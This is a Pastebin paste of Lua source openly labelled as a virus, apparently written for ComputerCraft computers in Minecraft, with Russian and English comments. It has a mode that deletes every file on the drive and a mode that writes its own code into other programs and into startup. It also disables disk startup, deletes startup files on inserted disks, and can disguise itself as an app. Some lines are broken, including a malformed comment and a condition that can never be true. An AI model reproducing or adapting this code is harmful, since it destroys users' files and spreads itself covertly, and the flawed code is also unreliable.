Pit_Anonim

Virus_P 0.2 (With comments)

Oct 22nd, 2016
254
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 3.48 KB | None | 0 0
  1. --BY PIT_ANONIM
  2.  
  3. --runmode ОПРЕДЕЛЯЕТ РЕЖИМ ЗАПУСКА
  4. --РЕЖИМ 1 УДАЛЯЕТ ВСЕ ФАЙЛЫ С ЖЕСТКОГО ДИСКА ПК
  5. --РЕЖИМ 2 ДОБАВЛЯЕТ ОПРЕДЕЛЕННЫЙ КОД ВО ВСЕ ПРОГРАММЫ НА ЖЕСТКОМ ДИСКЕ
  6. --runmode SPECIFIES THE STARTUP MODE
  7. --MODE 1 REMOVES ALL FILES FROM THE HARD DISK OF THE PC
  8. --MODE 2 ADDS SOME CODE TO ALL THE PROGRAMS ON THE HARD DISK
  9. runmode = 2
  10.  
  11. -----------------------
  12. --ПЕРЕМЕННЫЕ РЕЖИМА 2--
  13. -----------------------
  14. --------------------
  15. --VARIABLES MODE 2--
  16. --------------------
  17. --viruscode ОПРЕДЕЛЯЕТ КОД, КОТОРЫЙ БУДЕТ ЗАПИСАН В ФАЙЛАХ
  18. --viruscode DEFINES THE CODE THAT WILL BE WRITTEN TO THE FILE
  19. local viruscode =[[
  20. ]]
  21.  
  22. --firststring ОБЯЗАН БЫТЬ РАВНЫМ ПЕРВОЙ СТРОКЕ viruscode
  23. --firststring MUST BE EQUAL TO THE FIRST LINE viruscode
  24. local firststring = 'print("You do not have permission to run this program")'
  25.  
  26. --startupcode ОПРЕДЕЛЯЕТ КОД, КОТОРЫЙ БУДЕТ ЗАПИСАН В startup
  27. --startupcode DETERMINES THE CODE TO BE WRITTEN IN THE startup
  28. local startupcode = [==[
  29. ]==]
  30.  
  31. --virusname ОПРЕДЕЛЯЕТ НАЗВАНИЕ ЭТОГО ФАЙЛА
  32. --virusname DEFINES THE NAME OF THIS FILE
  33. local virusname = 'Virus'
  34.  
  35. --ПЕРЕМЕННЫЕ ПУТИ ФАЙЛА
  36. --VARIABLES FILE PATH
  37. dir = ""
  38. local FileList = fs.list(dir)
  39.  
  40. --РЕЖИМ МАСКИ. МАСКИРОВКА ВИРУСА ПОД ПРИЛОЖЕНИЕ.
  41. - MASK MODE. MASKING OF THE VIRUS FOR THE APP.
  42. local maskmode = 0
  43.  
  44. --ПРОГРАММА-МАСКА
  45. --THE MASK-PROGRAM
  46. local mask =[[
  47. ]]
  48. --------------------
  49.  
  50. --------------------
  51. --ОСНОВНАЯ ФУНКЦИЯ--
  52. --------------------
  53. -----------------
  54. --MAIN FUNCTION--
  55. -----------------
  56.  
  57. settings.set("shell.allow_disk_startup", false)
  58. settings.save(".settings")
  59. local eventone = os.pullEvent()
  60.  
  61. local function mainfunc()
  62.     if runmode == 1 then
  63.         for _,file in ipairs (FileList) do
  64.             if file ~= nil and file ~= "rom" then
  65.                 fs.delete(file)
  66.             end
  67.         end
  68.     elseif runmode == 2 then
  69.         for _,file in ipairs (FileList) do
  70.             if not file == "rom/" and file == "disk/" and file == ".settings" and fs.isDir(file) then
  71.                 if file ~= virusname then
  72.                     local nonvirusfile = fs.open(dir ..file, "r")
  73.                     local pr = nonvirusfile.readLine()
  74.                     local text = nonvirusfile.readAll()
  75.                     nonvirusfile.close()
  76.                      
  77.                     if pr ~= firststring and file ~= virusname and file ~= "startup" then
  78.                         local virusfile = fs.open(dir ..file, "w")
  79.                         virusfile.writeLine(viruscode)
  80.                         virusfile.writeLine(text)
  81.                         virusfile.close()
  82.                     end
  83.                    
  84.                 elseif file == virusname then
  85.                     local nonvirusfile = fs.open(dir ..file, "r")
  86.                     local text = nonvirusfile.readAll()
  87.                     nonvirusfile.close()
  88.                    
  89.                     local virusfile = fs.open("startup", "w")
  90.                     virusfile.writeLine(startupcode)
  91.                     virusfile.close()
  92.                 end
  93.             end
  94.         sleep(0)
  95.         end
  96.     end
  97. end
  98.  
  99. function eee()
  100.     while true do
  101.         while side ~= 1 do
  102.             sleep(0)
  103.             if disk.isPresent("bottom") or disk.isPresent("right") or disk.isPresent("left") or disk.isPresent("front") or disk.isPresent("top") then
  104.                 side = 1
  105.             else
  106.                 side = nil
  107.             end
  108.         end
  109.        
  110.         if side == 1 then
  111.             if fs.exists("disk/startup") then
  112.                 fs.delete("disk/startup")
  113.             end
  114.         end
  115.         sleep(0)
  116.     end
  117. end
  118.  
  119. parallel.waitForAny(mainfunc, eee)
  120.  
  121. if maskmode == 1 then
  122.     assert(loadstring(mask))()
  123. end
Advertisement
Add Comment
Please, Sign In to add comment